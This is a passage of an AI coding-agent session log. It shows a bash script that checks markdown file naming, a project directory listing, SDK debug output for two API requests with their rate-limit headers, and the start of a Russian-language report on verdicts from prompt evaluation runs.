-euo pipefail\\n\\nROOT_DIR=\\\"$(cd \\\"$(dirname \\\"${BASH_SOURCE[0]}\\\")/..\\\" && pwd)\\\"\\ncd \\\"$ROOT_DIR\\\"\\n\\nfailures=0\\n\\nfail() {\\n  printf 'ERROR: %s\\\\n' \\\"$1\\\" >&2\\n  failures=$((failures + 1))\\n}\\n\\nis_exception() {\\n  local basename=\\\"$1\\\"\\n\\n  case \\\"$basename\\\" in\\n    README.md | \\\\\\n    CHANGELOG.md | \\\\\\n    CONTRIBUTING.md | \\\\\\n    CODE_OF_CONDUCT.md | \\\\\\n    LICENSE | \\\\\\n    LICENSE.md | \\\\\\n    GOVERNANCE.md | \\\\\\n    *-registry.md | \\\\\\n    *-index.md | \\\\\\n    *-Index.md)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\n# Reference Research Pattern (Experimental, docs/rfc/2026-07-17-rfc-reference-research-pattern.md):\\n# a multi-file research module lives in research/// and numbers\\n# its files by reading order (00, 10, 20, ...), not by date. The module's files have\\n# no single meaningful date \u2014 they are updated on different cycles by design \u2014 so the\\n# chronology stays in frontmatter `updated`. The exception is deliberately narrow: it\\n# applies only inside a directory that declares itself a module by holding a 00-*.md\\n# entry point. Scope of the exception is an open question for the founder (RFC P6).\\nis_reference_pattern_module_file() {\\n  local file=\\\"$1\\\"\\n  local basename=\\\"${file##*/}\\\"\\n  local dir=\\\"${file%/*}\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^(00|10|20|30|40|50)-[a-z0-9]+(-[a-z0-9]+)*\\\\.md$ ]] || return 1\\n  compgen -G \\\"$dir/00-*.md\\\" >/dev/null || return 1\\n  return 0\\n}\\n\\nis_daily_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nis_monthly_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}- ]] && return 1\\n  [[ \\\"$basename\\\" =~ ^([0-9]{4}|[0-9]{4}-[0-9]{2})-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nis_adr_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-adr-[0-9]{3}-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nvalidate_file() {\\n  local file=\\\"$1\\\"\\n  local predicate=\\\"$2\\\"\\n  local expected_format=\\\"$3\\\"\\n  local basename=\\\"${file##*/}\\\"\\n\\n  if is_exception \\\"$basename\\\"; then\\n    return\\n  fi\\n\\n  if [[ \\\"$file\\\" == research/* ]] && is_reference_pattern_module_file \\\"$file\\\"; then\\n    return\\n  fi\\n\\n  if ! \\\"$predicate\\\" \\\"$basename\\\"; then\\n    fail \\\"chronological markdown file must use $expected_format: $file\\\"\\n  fi\\n}\\n\\nvalidate_tree() {\\n  local dir=\\\"$1\\\"\\n  local predicate=\\\"$2\\\"\\n  local expected_format=\\\"$3\\\"\\n\\n  [[ -d \\\"$dir\\\" ]] || return 0\\n\\n  while IFS= read -r file; do\\n    validate_file \\\"$file\\\" \\\"$predicate\\\" \\\"$expected_format\\\"\\n  done < <(find \\\"$dir\\\" -type f -name '*.md' | sort)\\n}\\n\\nvalidate_tree \\\"research\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/analysis\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/report\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/audit\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\n# docs/rfc/ intentionally not chronologically validated on the Hub: per\\n# rfc-structure-standard.md the Hub RFC rule is `YYYY-MM-DD-rfc-*` for new dated\\n# RFCs while legacy names stay unchanged (descriptive). The `YYYY-MM`/`YYYY`\\n# monthly rule (standards/file-naming.md) is the spoke rule; enforcing it here\\n# would reject the Hub's own standard-compliant legacy RFC corpus after the\\n# ADR-007/B-048 migration.\\nvalidate_tree \\\"docs/adr\\\" \\\"is_adr_chronological_name\\\" \\\"YYYY-MM-adr-NNN-name.md\\\"\\n\\n# Evidence files under the canonical exp// container are snapshots,\\n# not standalone research reports, so their names are intentionally excluded\\n# from the chronological report rule. Structure is enforced separately.\\n\\nif (( failures > 0 )); then\\n  printf 'File naming validation failed with %d error(s).\\\\n' \\\"$failures\\\" >&2\\nprojects/ba-ai-process:\\nREADME.md\\nba-meta-model\\nbuild\\ndecisions\\ndist\\ndocs\\nexperiments\\nmeta-model-guides\\ntests\\n\\nprojects/ba-ai-process/docs:\\nadr\\nanalysis\\nrfc\\n\\nprojects/ba-ai-process/docs/adr/:\\n2026-09-adr-018-gigacode-cli-execution-boundary.md\\n2026-09-adr-019-cline-mango-ai-pilot.md\\n\\nprojects/ba-ai-process/docs/analysis/:\\n2026-09-23-bcreq-golden-forms-and-feasibility.md\\n2026-09-23-requirements-run-forensics.md\\n2026-09-24-architecture-convergence-and-readiness.md\\n2026-09-29-ba-ai-process-runtime-options.md\\n2026-09-29-cline-package-expectation-gap.md\\n\\nprojects/ba-ai-process/docs/rfc/:\\n2026-09-bcreq-abstraction-and-product-routing.md\\n2026-09-bcreq-working-release-pipeline.md\\n2026-09-mango-ba-ai-runtime-cli-deployment.md\\n2026-09-source-pilot-verification.md\",\n[2026-09-29T07:46:22.225Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:22.225Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:22.225Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:22.225Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:22.225Z] [INFO]   }\n[2026-09-29T07:46:22.225Z] [INFO] }\n[2026-09-29T07:46:22.260Z] [STDOUT] [log_ee652c] sending request {\n[2026-09-29T07:46:22.264Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:22.271Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:22.277Z] [STDOUT]   options: {\n[2026-09-29T07:46:22.280Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:22.285Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:22.287Z] [STDOUT]     body: {\n[2026-09-29T07:46:22.290Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:22.295Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:22.298Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:22.303Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:22.307Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:22.312Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:22.317Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:22.322Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:22.324Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:22.327Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:22.333Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:22.338Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:22.341Z] [STDOUT]     },\n[2026-09-29T07:46:22.345Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:22.350Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:22.354Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:22.358Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:22.361Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:22.365Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:22.368Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:22.371Z] [STDOUT]       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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:22.471Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:22.474Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:22.477Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:22.481Z] [STDOUT]   },\n[2026-09-29T07:46:22.484Z] [STDOUT] }\n[2026-09-29T07:46:22.820Z] [STDOUT] [log_285801, request-id: \"req_011CfXMpxgzuQB9F3ayaQXJD\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1019ms\n[2026-09-29T07:46:22.827Z] [STDOUT] [log_285801] response start {\n[2026-09-29T07:46:22.837Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:22.840Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:22.845Z] [STDOUT]   headers: {\n[2026-09-29T07:46:22.861Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:22.909Z] [STDOUT]     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\"rejected\",\n[2026-09-29T07:46:22.970Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:22.974Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:22.980Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:22.989Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:22.992Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:22.998Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:23.008Z] [STDOUT]     \"cf-ray\": \"a4295fa64dd329ad-FRA\",\n[2026-09-29T07:46:23.010Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:23.017Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:23.022Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:23.026Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:23.034Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:22 GMT\",\n[2026-09-29T07:46:23.038Z] [STDOUT]     \"request-id\": \"req_011CfXMpxgzuQB9F3ayaQXJD\",\n[2026-09-29T07:46:23.045Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:23.052Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:23.058Z] [STDOUT]     traceresponse: \"00-9a3c0bdb461f3420d45c65be12b10091-68d9a72559cfc1d5-01\",\n[2026-09-29T07:46:23.065Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:23.078Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:23.085Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:23.094Z] [STDOUT]   },\n[2026-09-29T07:46:23.103Z] [STDOUT]   durationMs: 1019,\n[2026-09-29T07:46:23.105Z] [STDOUT] }\n[2026-09-29T07:46:23.110Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:23.116Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:22 GMT\",\n[2026-09-29T07:46:23.125Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:23.135Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:23.140Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:23.146Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:23.150Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:23.155Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:23.157Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:23.162Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:23.166Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:23.169Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:23.175Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:23.177Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:23.183Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:23.185Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:23.189Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:23.194Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.198Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:23.200Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:23.205Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:23.207Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:23.210Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.212Z] [STDOUT]   \"request-id\": \"req_011CfXMpxgzuQB9F3ayaQXJD\",\n[2026-09-29T07:46:23.216Z] [STDOUT]   \"traceresponse\": \"00-9a3c0bdb461f3420d45c65be12b10091-68d9a72559cfc1d5-01\",\n[2026-09-29T07:46:23.220Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:23.223Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:23.226Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:23.231Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:23.236Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:23.241Z] [STDOUT]   \"cf-ray\": \"a4295fa64dd329ad-FRA\",\n[2026-09-29T07:46:23.244Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:23.247Z] [STDOUT] [log_285801] response parsed {\n[2026-09-29T07:46:23.250Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:23.254Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:23.260Z] [STDOUT]   body: X {\n[2026-09-29T07:46:23.269Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:23.271Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:23.275Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:23.280Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:23.290Z] [STDOUT]     },\n[2026-09-29T07:46:23.296Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:23.300Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:23.306Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:23.311Z] [STDOUT]   },\n[2026-09-29T07:46:23.316Z] [STDOUT]   durationMs: 1020,\n[2026-09-29T07:46:23.323Z] [STDOUT] }\n[2026-09-29T07:46:23.327Z] [STDOUT] [log_ee652c, request-id: \"req_011CfXMpzc5ugQTu3rbjUsww\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 765ms\n[2026-09-29T07:46:23.334Z] [STDOUT] [log_ee652c] response start {\n[2026-09-29T07:46:23.338Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:23.344Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:23.349Z] [STDOUT]   headers: {\n[2026-09-29T07:46:23.352Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:23.357Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:23.361Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:23.366Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:23.371Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:23.376Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.380Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:23.386Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:23.397Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:23.402Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:23.405Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:23.413Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:23.417Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:23.424Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.428Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:23.431Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:23.435Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:23.438Z] [STDOUT]     \"cf-ray\": \"a4295fa92f93dbb5-FRA\",\n[2026-09-29T07:46:23.442Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:23.444Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:23.448Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:23.452Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:23.455Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:23 GMT\",\n[2026-09-29T07:46:23.458Z] [STDOUT]     \"request-id\": \"req_011CfXMpzc5ugQTu3rbjUsww\",\n[2026-09-29T07:46:23.460Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:23.462Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:23.464Z] [STDOUT]     traceresponse: \"00-e965497bb0ec981093cd117102327a19-93415460dad638fd-01\",\n[2026-09-29T07:46:23.467Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:23.470Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:23.474Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:23.477Z] [STDOUT]   },\n[2026-09-29T07:46:23.482Z] [STDOUT]   durationMs: 765,\n[2026-09-29T07:46:23.487Z] [STDOUT] }\n[2026-09-29T07:46:23.491Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:23.494Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:23 GMT\",\n[2026-09-29T07:46:23.499Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:23.501Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:23.503Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:23.506Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:23.509Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:23.511Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:23.516Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:23.522Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:23.528Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:23.533Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:23.539Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:23.544Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:23.549Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:23.552Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:23.559Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:23.562Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.565Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:23.568Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:23.572Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:23.577Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:23.579Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.583Z] [STDOUT]   \"request-id\": \"req_011CfXMpzc5ugQTu3rbjUsww\",\n[2026-09-29T07:46:23.585Z] [STDOUT]   \"traceresponse\": \"00-e965497bb0ec981093cd117102327a19-93415460dad638fd-01\",\n[2026-09-29T07:46:23.590Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:23.593Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:23.595Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:23.605Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:23.610Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:23.614Z] [STDOUT]   \"cf-ray\": \"a4295fa92f93dbb5-FRA\",\n[2026-09-29T07:46:23.617Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:23.620Z] [STDOUT] [log_ee652c] response parsed {\n[2026-09-29T07:46:23.623Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:23.626Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:23.628Z] [STDOUT]   body: X {\n[2026-09-29T07:46:23.636Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:23.642Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:23.654Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:23.657Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:23.662Z] [STDOUT]     },\n[2026-09-29T07:46:23.666Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:23.671Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:23.675Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:23.682Z] [STDOUT]   },\n[2026-09-29T07:46:23.686Z] [STDOUT]   durationMs: 767,\n[2026-09-29T07:46:23.690Z] [STDOUT] }\n[2026-09-29T07:46:23.696Z] [INFO] {\n[2026-09-29T07:46:23.696Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:23.696Z] [INFO]   \"message\": {\n[2026-09-29T07:46:23.696Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:23.696Z] [INFO]     \"content\": [\n[2026-09-29T07:46:23.696Z] [INFO]       {\n[2026-09-29T07:46:23.696Z] [INFO]         \"tool_use_id\": \"toolu_014VU4DRia4U2Kv9CFkjoUqs\",\n[2026-09-29T07:46:23.696Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:23.696Z] [INFO]         \"content\": \"| \u0412\u0435\u0440\u0434\u0438\u043a\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 |\\n| --- | --- |\\n| `draft` (\u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043d\u0435 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d) | 35 |\\n| `works-with-edits` | 19 |\\n| `partial-success` | 8 |\\n| `success` | 2 |\\n| `needs-rework` / `invalid` / `experimental` | \u043f\u043e 1 |\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f `\u041a-4` \u2014 **2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c (6 %)**\\n\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442\u0441\u044f \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438.\\n\\n## 2. \u041a\u0435\u0439\u0441 `C-1`: \u0432\u043e\u0441\u0435\u043c\u044c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043d\u0435 \u0443\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043e\u0434\u0438\u043d \u0444\u0430\u043a\u0442\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:** [RUN-0018](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0018),\\n\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422 \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 1079 \u00ab\u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430\u00bb, \u043c\u043e\u0434\u0435\u043b\u044c\\n`qwen3.7-plus`, 8 \u0448\u0430\u0433\u043e\u0432.\\n\\n**\u0427\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e.** \u041f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442\\n[`fr-validation-stepwise.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/fr-validation-stepwise.md)\\n\u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u043a\u0430\u043a \u043d\u0430\u0432\u044b\u043a: \u0432\u043e\u0441\u0435\u043c\u044c \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438 \u2014\\n\u0430\u0443\u0434\u0438\u0442, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0439, 